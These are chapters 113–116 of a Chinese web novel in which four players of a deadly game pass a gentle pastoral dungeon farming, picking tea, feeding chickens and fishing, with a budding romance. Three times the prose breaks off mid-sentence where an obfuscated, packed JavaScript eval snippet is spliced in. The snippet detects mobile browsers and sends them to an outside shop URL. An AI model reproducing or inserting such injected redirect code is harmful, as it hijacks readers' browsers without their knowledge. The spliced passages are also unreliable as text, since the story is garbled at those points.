列车早已驶出视线,但站台上的议论声却久久未散。 113.田园牧歌 【尊敬的各位玩家您好,您搭乘的D019次列车即将出发,请配合工作人员妥善安置行李,防止遗失。接下来,我会为各位介绍副本背景设定:】 【一座与世隔绝的古老村庄,每逢三年举行一次“丰收祭奠”,村民们热情好客,勤劳朴实。传说,唯有通过三日农耕试炼的外来者,才能获得土地神灵的祝福。然而,近几批前来帮忙的旅人,都在祭奠前夕神秘消失……】 【主线任务:存活至祭奠结束,且未主动攻击村民(否则触发百名NPC扛锄头追杀结局)】 【土地需要诚心的耕耘者,你们,能坚持吗?】 【祝各位丰收愉快。】 “ ‘热情好客’?”随歌一脸不相信,“副本背景上次出现这个词的时候,NPC把我当祭品。” “我怀疑‘丰收祭奠’不是字面意思。”景明垂托着下巴,“我们不能先下手为强,又没有武器,很容易身亡。” 随歌叹气:“我只希望别是半夜稻草人副本,或者稻田里爬出尸体这种。” 列车缓缓减速,窗外浓雾中,隐约可见一座被群山环绕的村庄。 J23停下车,转过身用好奇的眼神看向四人,朝他们挥了挥手:“去吧,你们一定会喜欢这个副本的。” 四人:“……” 初与序率先走下车,浓稠的雾气散去,微风拂过,带着青草与泥土的潮湿气息,她微微怔住。 眼前不是预想中的阴森诡地,而是一片开阔的田野。远处青山如黛,近处稻田泛着粼粼波光,几只麻雀扑棱棱地从脚边飞走。 “这真的是副本?”随歌抓了抓头发,一脸狐疑,“怎么连个丧尸萝卜都没有?” 景明垂抱臂站着,目光冷淡地扫过四周:“可能有陷阱。” 冬逢初轻轻碰了碰初与序的手背,声音温和:“至少现在看起来很安静。” 初与序没说话,只是低头看着自己的掌心。没有武器,没有任务提示,只有一缕阳光透过指缝,落在她鞋尖上。 “哎呀,新来的帮手!” 一个洪亮的声音突然从身后传来,四人同时回头,只见一位精神抖擞的老村长大步走来,草帽下是一张晒得黝黑的笑脸。他搓了搓手,热情道:“可算等到你们了!这两天活儿多,正缺人手呢!” 随歌嘴角抽了抽:“我们干农活?” “那当然!”村长一拍大腿,“现在先去摘草莓!跟我来!” 四人对视一眼,连忙跟上。 草莓田就在村口不远处,翠绿的藤蔓铺满田地,鲜红的果实点缀其间,像撒了一地的红宝石。阳光晒得泥土微微发烫,几只蜜蜂嗡嗡掠过。 “喏,篮子在这儿,摘完一大半就行!”村长指了指田边的竹筐,乐呵呵走了。 “这就走了?”随歌蹲下来戳了戳一颗草莓,嘀咕道,“这玩意儿真的不会突然咬人吗?” 初与序轻轻蹲下,手指碰了碰草莓的叶片,触感柔软,带着晨露的凉意。 远处,一只母鸡雄赳赳地踱步而过,斜眼瞥了他们一眼。 四人站在草莓田边,谁都没动。随歌压低声音,一脸严肃:“我先说好,这种副本套路我熟。先让我们放松警惕,紧接着,草莓里□□、藤蔓会绞人,甚至可能突然蹦出个稻草人BOSS!” 景明垂淡淡道:“你确定这种地方会出现BOSS?” 随歌猛地指向田地尽头,“你看那边,那丛草是不是在动?” 冬逢初顺着他的目光看去,无奈一笑:“是风。” 随歌撇撇嘴,弯腰打算第一个摘草莓,结果脚下一滑,差点一头栽进藤蔓里。他龇牙咧嘴爬起来,裤腿上蹭了一大块泥。 景明垂凉凉地评价:“平衡感差到这种程度,也是天赋。” 初与序蹲在田间,安静地挑拣着,手偶尔在叶片间停顿,像是在确认什么。阳光透过叶片间隙斑驳地落在她白皙的手背上,暖意微醺。 冬逢初正弯腰摘着另一处的草莓,偶尔抬头看她一眼,见她神色安静,便也不打扰,微微扬起嘴角。 “喂,你们能不能别这么岁月静好?”随歌手里捏着一颗草莓,“这草莓居然真的只是草莓?没有变异,没有诅咒,没有‘吃下去会变成植物人’的设定?” “也许触发条件还没到?”冬逢初抬起头,将一颗草莓放进篮子里,“说不定摘满一筐就能触发隐藏剧情了。” “有道理!”随歌立刻来劲了,埋头狂摘。 冬逢初继续摘草莓,偶尔会给递一颗特别红的给初与序。初与序也不拒绝,只是轻轻接过,放进篮子里。两人之间没有太多言语,却有种默契的安静。 太阳渐渐爬高,晒得人后背发烫。草莓摘了大半筐,除了偶尔有只趾高气扬的母鸡踱步经过,或是某只公鸡昂首挺胸地斜睨他们几眼,整个上午竟然真的无事发生。 随歌一屁股坐在地上,盯着篮子里红艳艳的草莓咽了咽口水:“你们说,我吃一颗会怎么样?” 初与序抬眼看他:“别人家的我们就别吃了。” 随歌叹气:“确实。” 冬逢初笑着摇头,刚想说什么,田埂上传来一阵轻快的脚步声。一个皮肤黝黑的年轻小伙朝他们挥了挥手,笑容爽朗:“几位!草莓摘得差不多了吧?该去插秧了!” “插秧?”随歌睁大眼睛,“等等,我们连草莓都没摘完呢。” “没事儿!剩下的其余人会去摘!”小伙热情地招手,“快来,秧苗可不等人!” “等等,我们连秧苗长啥样都不知道啊!”随歌盯着一大片水田。 小伙爽朗地摆摆手:“没事!我教你们!”说着,他指了指田边堆着的几套防水衣裤,“你们先换上这个,免得弄湿衣服。” 四人认命地走过去拿装备。初与序拿起防水裤,犹豫了一下,又看了看自己垂落的长发。转头看向景明垂:“明垂,你有皮筋吗?” 景明垂正冷着脸研究防水裤的穿法,闻言抬手,用口袋里摸出一根黑色皮筋,丢给初与序。 初与序接过,手指拢起长发,随意地挽了个斜丸子头,松散的发丝垂在颈侧,衬得她侧脸线条柔和了几分。 冬逢初刚套好衣服,转头看见她的新发型,微微愣了一下,随即笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16381970|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“很好看。” 初与序低低“嗯”了一声。 换好装备后,小伙子带他们来到水田边。 田里水光粼粼,倒映着蓝天白云,嫩绿的秧苗整齐地码在田埂上。小伙子挽起裤腿,赤脚踩进水里,示范道:“看好了啊!手拿秧苗,食指和中指夹住根部,往泥里一插进行!要直,要稳,别太深也别太浅!” 随歌探头看了看,跃跃欲试:“简单!看我的。” 他学着小伙子的样子,一脚踩进水田,结果泥浆瞬间没到小腿,他一个踉跄,差点栽进水里。冬逢初眼疾手快拽住他后颈,才避免了一场“泥浆洗脸”的惨剧。 景明垂踏入田中,拿起一株秧苗,往泥里插下,秧苗歪了。 小伙子:“……那个,要垂直插。” 景明垂:“……” 初与序和冬逢初也不管什么遮不遮伤疤的了,卷起袖子踏入田中。 冬逢初倒是学得很快,插下去的秧苗笔直整齐,但速度慢比蜗牛。初与序站在他旁边,低头专注地模仿着,可她的秧苗总是稍微倾斜,像被风吹歪的小树苗。 小伙子耐心地纠正:“对,手指再往下压一点。哎,对了!” 随歌在另一边大呼小叫:“为什么我的秧苗一插就扶起来啊?!” “你插太浅了!”小伙子无奈地走过去指导。 阳光下,水田里映出五人忙碌的身影。 插秧进行到一半,田里的泥水被搅得浑浊,随歌正弯着腰,嘴里还嘀咕着“这次一定要插直”,忽然,他的手指碰到了什么滑溜溜的东西。 “嗯?啥玩意儿?”他下意识捏了下,低头看去。 “啊啊啊!!虫子!!!” 随歌猛地蹦起来,泥水四溅,整个人像触电般一样甩手,脸色煞白:“活的!软的!还在动!!救命啊!!!” 初与序闻声抬头,正好看见一直黑褐色的蚂蟥在泥里扭动着钻过来,顿时浑身一僵。她几乎是本能地后退两步,轻轻抓住冬逢初的袖子。 冬逢初被抓住,刚想安慰她,结果抬头一看。 “……我也怕。”他默默往后退了半步。 三人僵在原地,眼睁睁看着那条肥硕的蚂蟥在泥浆里蜿蜒爬行,场面一度十分尴尬。 “啧。”一声不耐烦的冷哼响起,景明垂面无表情走过来,弯腰,伸手,两根手指精准一捏。 虫子被她干脆利落地丢到了田埂外。 世界安静了。 三秒后,“景明垂!姐!你是神!!!”随歌泪流满面地扑过去,恨不得当场给她磕一个,“从今天开始,你就是我的救命恩人!” 初与序和冬逢初纷纷松了口气,看向景明垂的眼神里全是崇拜。 景明垂转身走回自己的位置,三人望着她的背影,眼神亮晶晶的,仿佛在看一个凯旋而归的战士。 小伙子在一旁看得直乐:“你们城里人真有意思!这玩意儿我们天天见,没啥好怕的!” 冬逢初苦笑:“真是不容易。” 初与序默默点头,第一次对“面朝黄土背朝天”的生活有了实感。 114.田园牧歌 插完秧,四人拖着酸痛的腰腿爬上田埂,裤脚和袖口都沾着泥水,头发也被汗水浸湿。 小伙子擦了擦额头的汗,咧嘴一笑:“走!去我家吃午饭!” 小伙子的家是一栋朴实的农家小院,瓦房低矮但整洁,院角种着几株向日葵,正随着微风轻轻摇晃。刚进门,一个扎着麻花辫的小姑娘就蹦蹦跳跳地迎了进来,眼睛亮晶晶的:“哥!带客人回来啊?” “对!快去帮阿婆端菜!”小伙揉了揉妹妹的脑袋,转头对四人笑道,“这是我妹。” 妹妹好奇地打量着他们,目光在初与序斜挽的丸子上停留两秒,又瞄向随歌沾满泥点的裤腿,噗嗤一笑:“你们插秧啦?肯定很累吧?” “累炸了。”随歌有气无力地摆手,“我现在看什么都是绿的。” 屋里,两位老人已经摆好了饭菜。木桌上摆着几道简单但香气扑鼻的农家菜,有清炒时蔬、腊肉炖豆角、嫩滑的蒸蛋、一碟腌黄瓜,还有一大盘热气腾腾的米饭。 “来来来,坐!”老爷爷笑呵呵地招呼他们,“干了一上午活,肯定饿坏了!” 初与序有些拘谨地站在桌边,冬逢初看出了她的担忧,轻轻拉了下她的手,温声道:“坐吧。” 妹妹手脚麻利地给大家盛饭,老奶奶还特意夹了一块腊肉放到初与序碗里:“闺女,多吃点,看你瘦的。” 初与序愣了一下,低声道谢:“谢谢。” 随歌早就饿得前胸贴后背,扒了一口饭,眼睛瞬间亮了:“这也太香了吧!!” 小伙子得意地笑了:“自家种的米,当然香!” 饭桌上,妹妹叽叽喳喳地问着城里的事,随歌一边狂吃一边夸张地描述“高楼大厦和会跑的铁盒子”,逗得两位老人直笑。而景明垂安静地吃着,偶尔被问道才简短回答两句。 老爷爷抿了一口自家酿的米酒,感慨道:“年轻人啊,多来乡下走走也好,接地气!” 午饭过后,阳光懒洋洋地晒着院子。四人坐在门前的矮木凳上,背后靠着土墙。随歌瘫在凳子上,忽然想到了什么,猛地坐起来,压低声音:“你们说,这饭菜里该不会下药了吧?” 冬逢初原本正闭目养神,闻言睁开眼:“你现在才担心?那刚才第三碗饭是谁吃的?” “我那是战略补充体力!”随歌嘴硬,但眼神还是忍不住往屋里瞟,“可这也太顺利了,种田、吃饭、休息,连个野怪都没有。” 景明垂抱臂靠在墙边,淡淡道:“没野怪不好?” “不是不好,就是有点不习惯。”随歌抓了抓头发,“心里发毛啊!这可是S级副本!” 初与序没参与讨论,只是静静望着院角的向日葵。他们随着微风轻轻摇晃,金黄的花盘像一张张笑脸。 太真实了,真实得让人不安。到现在为止,没有陷阱,没有怪物,没有突如其来的死亡机制。只有摘草莓、插秧、一顿家常饭。让人怀疑这场副本的“危险”并不在明面上,或许是精神污染。 如果这个副本的“危险”是让人沉溺于虚假的安宁,逐渐忘记现实、忘记任务,最终永远留在这里。那确实很可怕。 这时,妹妹从院外蹦蹦跳跳地跑出来,眼睛亮晶晶地看向四人“走!我带你们去茶山!” 她转身跑进屋里,不一会儿抱着几个竹篓出来,挨个塞给他们:“背上这个!茶山上的嫩芽可娇贵着呢,得用竹篓才不压坏!” 竹篓带着淡淡的竹香,边缘磨得光滑,显然用了许多年。初与序接过竹篓,手指轻轻抚过编织的纹路,动作顿了顿。 “愣着干啥?走呀!”妹妹已经蹦到院门口,回头冲他们招手。 随歌把竹篓甩到背上,小声嘀咕:“我总觉得这小丫头下一秒就会变成BOSS……” 茶山不远,沿着田埂走十分钟就到。 茶垄像一条条绿色的破浪,顺着山势蜿蜒而上。微风拂过,嫩绿的茶芽轻轻颤动,散发着清醒的草木香。 “看好了!”妹妹跑到一株茶树前,手指灵巧地掐住茶尖,“要采这种两叶一芯的,不要用指甲掐,要用指腹轻轻掰下来。” 她示范的动作行云流水,指尖一捻,嫩芽就乖乖落入掌心。 四人围成一圈,脑袋几乎要碰在一起,全神贯注地盯着她手上的动作。 “我试试。”初与序伸出手,在离枝头半寸的地方悬停了几秒,才谨慎地摘下一芽,嫩叶在她掌心蜷缩着。 景明垂学着她的样子,结果把相邻的老叶也带了下来。她抿唇看向妹妹:“这个……” “没关系!”妹妹把老叶挑出来,“第一次都这样!” 随歌正对着茶树鞠躬般深弯腰,结果竹篓勾到了旁边的树枝。冬逢初走去解救他,自己摘的茶叶差点落了一地。 妹妹拍拍手:“记住啦?两叶一芯,动作要轻!”她指向远处雾霭中的山峦,“太阳落到那个山头前,我们要摘满这些竹篓哦!” 四人望着各自空荡荡的竹篓,忽然怀念起之前打副本BOSS的日子。 “开始吧。”初与序叹了口气,蹲在茶树前,迟迟不敢下手,怕自己的动作会弄碎这些嫩叶。 妹妹从旁边探出头,带着青草香的小手覆住她的手指,带着她轻轻一托:“不要怕下手,听到‘嗒’的轻响就对啦。” 三垄之外,随歌正在上演采茶惊魂记。 “等等等等。”他单膝跪地,左手悬空摆出龙爪手姿势,“首先我要稳住核心…”右手以拆炸弹的谨慎靠近茶枝,“然后精准打击…” “你是在采茶还是在练功?”景明垂的声音从身后幽幽飘来,她的篓子里已经铺了层匀称的嫩芽。 随歌转头时差点被自己的竹篓带倒:“这不科学!为什么你摘的像拍卖行藏品,我摘得像被山羊啃过?” 景明垂瞥了眼他篓子里七零八落的叶片:“因为你手笨。” 随歌苦着脸:“良言一句三冬暖,恶语伤人六月寒。” 冬逢初那边,他正站在茶枝前,这个角度刚好让阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16381971|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光穿过他睫毛,在脸颊投下细碎的阴影。摘下的茶芽在掌心堆成小小的碧玉塔,每片都带着完整的白豪。 “哥哥好厉害啊!”妹妹蹦过来检查时惊呼,“你以前学过吗?” “没有。”冬逢初笑着摇摇头,“可能因为我摘得慢,所以好一点。” 初与序盯着自己竹篓里的只铺了两层的茶叶,又瞄了眼冬逢初那边竹篓里几乎要满出来的青翠,想到了一个办法。 她趁着妹妹在教随歌分辨嫩芽,小心翼翼挪了几步,悄悄溜到冬逢初背后。手指飞快地在他竹篓里捏起两片茶叶,打算带着“战利品”溜回去。 “怎么只拿两片?” 带笑的声音在身边响起,初与序整个人僵住。冬逢初不知什么时候转过了身,笑着看着她。 她捏着“赃物”的手停在半空,耳尖以肉眼可见的速度红了起来。 冬逢初忽然伸手,将两人的竹篓调换了位置。初与序怀里突然沉甸甸地装满茶叶,而冬逢初接过了她那小半篓。 “这样才对,本来也是摘给阿序的。”他笑着说,顺手揉了揉她的头发。 初与序抱着突然满溢的竹篓呆住,发梢被揉乱的那一小撮头发翘起来,在夕阳下晃呀晃,变成毛茸茸的金色。 “大姐姐。”妹妹不知何时也挪了过来,站到初与序身边,“你要小心一点。” 初与序低头看她:“什么?” “我怀疑这个大哥哥暗恋你。” 初与序:“……” 冬逢初:“……” 随歌笑嘻嘻凑过来:“哟,小妹妹你知道‘暗恋’是什么意思吗?” 妹妹挺起胸膛,麻花辫在阳光下轻轻一晃:“我当然知道!暗恋就是像山茶花一样,干干净净地喜欢一个人,会因为她开心而开心,但不会随便去摘花。老师说过,喜欢是欣赏,不是占有!” 她摆着手指头认真补充:“就像我同桌送我野草莓,我要是也喜欢他,就会先和他一起种出更多草莓,等我们都长大到能照顾好一片草莓田的时候再说!” 随歌目瞪口呆地转头看向冬逢初:“现在的小学生都这么通透吗?” 冬逢初笑着蹲下来平视妹妹:“你说得对,我确实喜欢这个姐姐,很喜欢很喜欢。” 山风掠过茶田,把妹妹的笑声吹散在漫山遍野的绿浪里。冬逢初悄悄勾住初与序的食指,初与序和他对视了几秒,又不好意思地移开视线。 夕阳西沉,将整片茶田镀上一层温暖的金红色。四个竹篓里堆满了嫩绿的茶叶,在暮色中散发着清新的香气。 初与序轻轻舒了一口气,带着山间露水的气息扑鼻而入。她低头看着自己采的茶叶,装了满满一篓子。 “好啦!”妹妹拍了拍手,“我们回家吧!” 她蹦蹦跳跳地走在前面,哼着不知名的小调。四人跟在她身后,竹篓沉甸甸地压在背上,脚步比来时轻快许多。夕阳把五人的影子拉长,茶篓的轮廓在地上摇晃,像一串移动的小山丘。 115.田园牧歌 四人回去吃了晚饭,院子笼罩在淡蓝色的暮色里,木桌上还残留着蒸南瓜的甜香。妹妹抱出个搪瓷盆,里面混着糠皮、玉米饭和剩饭,又舀了瓢井水哗啦浇进去。 “搅拌均匀哦!”她踮脚把盆子塞给随歌,“你拿稳!” 随歌像捧炸弹似的端着盆,盯着不远处踱步的鸡群。领头的三黄鸡突然“咯”地一声抬起头,黑豆眼直勾勾盯过来。 “它们,它们是不是在评估我的战斗能力?”随歌声音发颤,往后退了半步。 初与序扫了一眼他的黄发:“看到和自己差不多发色的人类了。” “你们说,这些咯咯哒会不会啄我啊……”随歌咽了咽口水。 景明垂抱臂靠在柿子树下,冷冷道:“要是让向枝冥他们知道,某位顶级治疗师在副本里连几只鸡都不敢喂,会怎么样?” “谁不敢了!”随歌抄起木棍在盆里搅拌,顿时扬起一阵玉米粉的烟雾。初与序默默往冬逢初身后挪了半步。 搅拌声惊动了鸡群,十几只鸡瞬间调转方向,翅膀半张着快步围拢。随歌手一抖,盆里有几粒玉米粉溅在裤腿上。 下一秒,领头的三黄鸡突然炸开颈羽,以俯冲轰炸机的姿态直扑而来! “救救救救——!”随歌丢下盆拔腿就跑,身后追着五颜六色的“战斗机群”。食盆在空中划出抛物线,被冬逢初眼疾手快稳稳接住。 三人站在安全区观赏奇景。 景明垂冷冷地看着随歌身后的鸡群:“这些芦花鸡的冲刺速度,比永冬之城95%的玩家都快。” 冬逢初把食盆递给初与序:“要试试吗?” 初与序看着远处被鸡群逼上柴堆的随歌,坚定地摇摇头。 不远处,NPC小伙子端着一碟切好的西瓜走来:“喏,自家种的西瓜,很甜的,你们尝尝。” “多谢。”冬逢初接过小伙子递来的西瓜。红瓤黑子的西瓜块在月光下泛着水光,还带着井水的凉气。 初与序轻声道谢,接过西瓜时手指碰到冰凉的水珠。 “随歌小兄弟呢?”小伙子伸长脖子张望,远处传来一阵“咚咚咚”的狂奔声和鸡群的扑腾声。 景明垂在确定随歌不会真的受伤后,淡定道:“在跑马拉松。” “啊?”小伙子一脸茫然。 “夜间趣味运动。”冬逢初忍着笑补充,顺手把自己手里那块无籽的西瓜递给初与序。 小伙子挠挠头:“那、那我先回去了?”临走前又忍不住回头:“真的不用帮忙?” “不用。”三人异口同声。 院角的混乱仍在继续,随歌一个急转弯躲过三黄鸡的俯冲,结果差点踩到晾晒的玉米粒,整个人滑出两米远。他的哀嚎惊飞了树上的麻雀:“你们三个还是人吗!非人哉!这咯咯哒绝对练过轻功!” 三人不语,只一味地吃西瓜看随歌“跑马拉松”。 在随歌第n次经过他们面前时,他的一只裤脚已经被啄成了流苏款,黄色头发里还插着两根鸡毛。他气若游丝地伸手:“西…瓜…” 冬逢初笑着递去一块,随歌刚接住,身后的母鸡又“咯咯”大叫着扑来。 “嗷!”随歌拿着西瓜就跑,还不忘在跑的中途啃一口西瓜。 初与序看着随歌消失在院门外的背影,和追着他远去的鸡群,站起身:“我上屋顶看星星。” 夜色渐浓,她独自爬上屋顶,抱膝坐下,夜风拂过她单薄的长袖衬衫。夏夜的星光与永冬之城的天幕要明亮得多,银河像一条碎钻铺就的道路横贯天际。 她再次从面板里拿出团队赛的相机,调出那段视频。画面里的场景在星空下显得格外刺目,她已经看了不下百遍。 “阿序。” 冬逢初的声音从身后传来,他轻巧地翻上屋顶,无声地在她身旁坐下。两人之间隔着恰到好处的距离,既不会显得疏远,又留给彼此呼吸的空间。 初与序关掉视频,将相机放在一旁,目光投向远处起伏的山影。 “冬逢初。”她的声音轻得几乎被夜风吹散。 “嗯?”冬逢初转过头,看着她。 “我一直有一个问题。”初与序的开口,“以我对我自己的了解,我是个彻头彻尾的悲观主义者。” 她的右手无意识地覆上左手手腕处,那些平行排序的疤痕被她盖住。 “我的前十八年经历了这么多,所以,”她终于转头看向冬逢初,“到底是什么支撑我活到现在?” 夜风送来稻田的清香,远处传来几声犬吠。一只萤火虫晃晃悠悠地飞到两人之间,微弱的光点映在初与序瞳孔里。 冬逢初沉默了很久,久到初与序以为他不会回答。 “也许…”他的声音很轻,“是因为你知道,总有一天会遇到我们。” 初与序移开视线,没有说话。 楼下院子里,景明垂正被妹妹缠着讲故事。妹妹眼睛亮晶晶的:“后来呢后来呢?那个剑仙真的把月亮斩下来了吗?” “嗯。”景明垂难得耐心,声音比平时柔和,“但他发现月亮碎了之后,人间的夜晚就再也没有光了。” 妹妹“啊”了一声,紧张地抓住她的袖子:“那怎么办?” 景明垂垂眸,嘴角弯了弯:“所以他用星星的碎片,重新拼了一个。” 而院子另一头,随歌正蹲在鸡窝前,神情严肃。 “听着。”他压低声音,对着领头的三黄鸡伸出友谊之手,“我们没必要这样,对吧?刚刚我又不是故意把你的食物洒出来一丢丢的,我裤子都赔给你了。” 三黄鸡歪着头看他,黑豆眼里闪烁着智慧的光芒。 随歌见它没攻击,胆子大了点,继续谈判:“这样,看在我们俩毛色一样的份上,你以后别追我,我偷偷多给你撒把玉米,怎么样?” 鸡:“咯。” 随歌:“……你这是同意还是骂我?” 鸡突然拍打翅膀,一个箭步冲上来! “等等!协议还没签!”随歌拔腿就跑,边跑边喊,“你们几个救救我啊!这咯咯哒不讲武德!它诈骗!它假装谈判然后偷袭!” 小伙子提着油灯过来,暖黄的光晕在夜色里晕开:“咱乡下睡得早,几位也早点歇着吧。” 初与序和冬逢初对视一眼,从屋顶上爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16455917|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来。 两位女生跟着妹妹走进西厢房,月光透过雕花木窗,在凉席上印出菱形的光斑。妹妹麻利地抖开薄被:“城里姐姐不怕硌吧?” 初与序和景明垂连连摇头。 隔壁传来窸窣响动,随歌的声音在黑暗里炸开:“嚯!这席子居然比我家乳胶垫还透气!” 小伙子在打地铺:“你们不嫌弃就好,去年收成好,特地换了新席子。” “嫌弃?怎么可能!”随歌一个鲤鱼打挺坐起来,“这手艺放城里得卖四位数。” 鸡窝忽然传来响动,随歌压低声音:“那些咯咯哒不会跟进来吧?” 冬逢初轻笑道:“不会,快睡吧。” 整个村庄陷入宁静,只有蚊子乱飞的嗡嗡声。月光悄悄爬上每个人的睫毛,茶香、竹香和少年人温热的呼吸,混在温热的夏夜里。 次日,天刚蒙蒙亮,一声嘹亮的“喔喔喔——”就掀翻了整个院子的宁静。 “副本BOSS出现了?!”随歌一个激灵从竹席上弹起来,差点被自己缠成粽子的被子绊倒。 冬逢初已经坐在席边,手里捧着小伙子带来的热饼子粗粮烙饼散发着芝麻香,热乎乎地躺着掌心。他转头,看见刚醒来的初与序洗漱完路过这边,正睡眼惺忪地揉眼睛。 “早。”他轻声说,把饼子分她一半。 初与序迷迷糊糊接过,低头咬了一口,被烫得一个激灵,彻底醒了,没好气地瞪了眼冬逢初。冬逢初看出她起床气还没消,笑着拿回她手里的饼子:“放凉一会再吃吧。” 院子里,景明垂正在和小伙子学着编鱼篓。 “鱼现在还没醒。”小伙子把最近一条竹蔑穿进缝隙,“这时候钓,一钓一个准。” 随歌顶着鸡窝头走出来:“鱼还没醒是什么意思?鱼也要睡觉?” “鱼当然要睡觉啦。”妹妹从厨房探出头,“它们现在正在做梦呢,傻乎乎的最好骗。” 初与序:“……真的假的?” 冬逢初:“……应该是真的。” 晨雾还没散尽,四人拎着鱼竿往河边走,沿着长满青苔的河岸排排坐下。 “我先上网搜搜钓鱼的步骤。”随歌从口袋里掏出手机,搜了半天,“恍然大悟”地点点头,收起手机,“我明白了!看我示范!” 他坐直身体,猛地一扬手,鱼钩带着破空声飞出去,然后“啪”地挂在了身后的柳树上。 随歌:“……” 景明垂面无表情:“示范得不错。” 初与序走过去帮随歌解下鱼钩,转头看见冬逢初正捏着鱼饵犹豫。蚯蚓在他指尖扭来扭去,他抿着嘴把蚯蚓穿上了钩,结果用力过猛,鱼钩直接刺穿了蚯蚓的头尾。 “我感觉它在瞪我。”冬逢初眨眨眼,诚恳地对蚯蚓弯腰道歉。 “一定是我搜索的方式不对。”随歌又重新掏出手机,“等我再搜搜。” 然后他顺手打开了游戏,开始玩了起来。 初与序叹了口气,无奈地摇摇头,架好自己的鱼竿:“快钓鱼吧,按照NPC说的,清晨的鱼容易上钩。” 钓鱼正式开始。 116.田园牧歌 景明垂的浮标最先沉下去,她利落提竿,一条银光闪闪的鲫鱼在半空中划出弧线,精准落进鱼篓。 随歌扒着鱼篓大喊:“你绝对开挂了!为什么第一次就钓上来一条这么大的?!” 景明垂慢条斯理地上新饵:“闭嘴,会吓跑鱼。” 冬逢初的浮标突然颤了颤,他屏住呼吸提竿。水花四溅中,一件破旧的上衣在空中晃荡。 冬逢初:“???” 一小时后: “这鱼绝对在耍我们。”随歌第八次提起空钩,“说好的‘傻乎乎好骗’呢?” 初与序盯着自己纹丝不动的浮标,睫毛上沾着露水凝成的细珠:“可能鱼也睡懒觉?” 冬逢初正要把一点饼渣撒进河里打窝,闻言笑出声。 四人当中,唯独景明垂的鱼竿频频弯出弧度。她利落地收杆,第三条银鳞闪闪的鲫鱼在半空中划出弧线,精准落入鱼篓。 随歌看着鱼篓里的鱼数:“你这条是刚才那条的男朋友吧?它们一家三口都让你钓齐了。”他又看着自己空荡荡的鱼篓,吧鱼竿往地上一插,“那小伙子绝对在骗我们!” 他站起身,开始卷裤腿:“同志们,是时候发动Plan B了。” 冬逢初挑眉:“下河?” “当然!”随歌已经脱掉了鞋袜,“根据《钓鱼佬公约》:空军超过两小时,允许使用徒手作战!” 冬逢初看向初与序:“要试试吗?” 初与序望着清澈见底的河水,点点头,也站起身,将裤腿卷起来。景明垂看着已经卷起裤腿的三人,无奈道:“我就不下去了。” “刚好你可以在岸边接着我们扔上去的鱼。”随歌笑嘻嘻地踏入河里,冰冷的河水瞬间漫过小腿肚,凉得他原地蹦起三尺高。 “钓鱼我不会,摸鱼我肯定行!”他一个猛子扎下去,水花溅起。等他哗啦一声从水里冒头时,手里抓着……一把水草。 “今日收获第四种水生植物。”初与序慢慢下水,脚下踩的鹅卵石被阳光晒得微微发烫,但水下冰凉刺骨。她低头,河水清澈的能看见鱼群在脚边穿梭。 “失误!纯属失误!”随歌甩了甩湿漉漉的刘海,“我刚刚摸到鱼尾巴了,滑不溜秋的。” 冬逢初已经悄悄堵住了一处小水湾,他朝初与序招招手,示意她从另一边包抄。两人配合着慢慢收拢包围圈。 “有了!”冬逢初双手一捧,银光闪闪的鲫鱼在他掌心拼命扑腾。初与序下意识伸手去接,结果鱼尾一甩,水珠拍在她鼻尖上,打湿了刘海。 岸上的景明垂及时抛出鱼篓,鱼被冬逢初扔向空中,准确入篓。 “接着!”随歌突然从手里冒出来,湿漉漉的刘海贴在额头,手里举着条扭动的鲫鱼。 景明垂头也不抬,反手甩开鱼篓,又一只鱼精准入篓。 冬逢初刚要把自己抓到的鱼扔过去,突然发现初与序正盯着水面出神。顺着她的目光看去,清澈的水底竟趴着一只肥美的河蟹,正吐着泡泡。 “想要?”他问道。 初与序犹豫了一下,点点头。 于是,一场针对河蟹的围剿开始了。冬逢初从左侧包抄,初与序在右侧拦截。河蟹似乎察觉到危险,开始横着往深水区逃窜。 “随歌!拦住他!”冬逢初出声。 “得令!”随歌一个猛扑,水花四溅。 他确实拦住了河蟹,是以一种意想不到的方式。他扑得太猛,直接撞上了正专注围堵的冬逢初和初与序,三人齐齐跌进水里。 岸上的景明垂听到动静,终于抬起头,只见河面上一片狼藉:随歌四仰八叉地躺在浅滩,裤腿上挂着水草;冬逢初半跪在水里,衬衫湿透贴在身上;初与序坐在水里,发丝湿漉漉地贴在脸颊上。 而那只罪魁祸首的河蟹,正悠哉悠哉地从三人中间横着爬过。 “……” 景明垂叹了口气:“随歌,你敌我不分,建议回炉重灶。” 冬逢初抹了把脸上的水,撑着地的手指忽然一疼。他“嘶”了一声,慢慢从水里提起右手。 一只硬币大小的小螃蟹正威风凛凛地挂在他食指上,两只钳子死死夹着指尖,八条腿还在空中得意地划动。 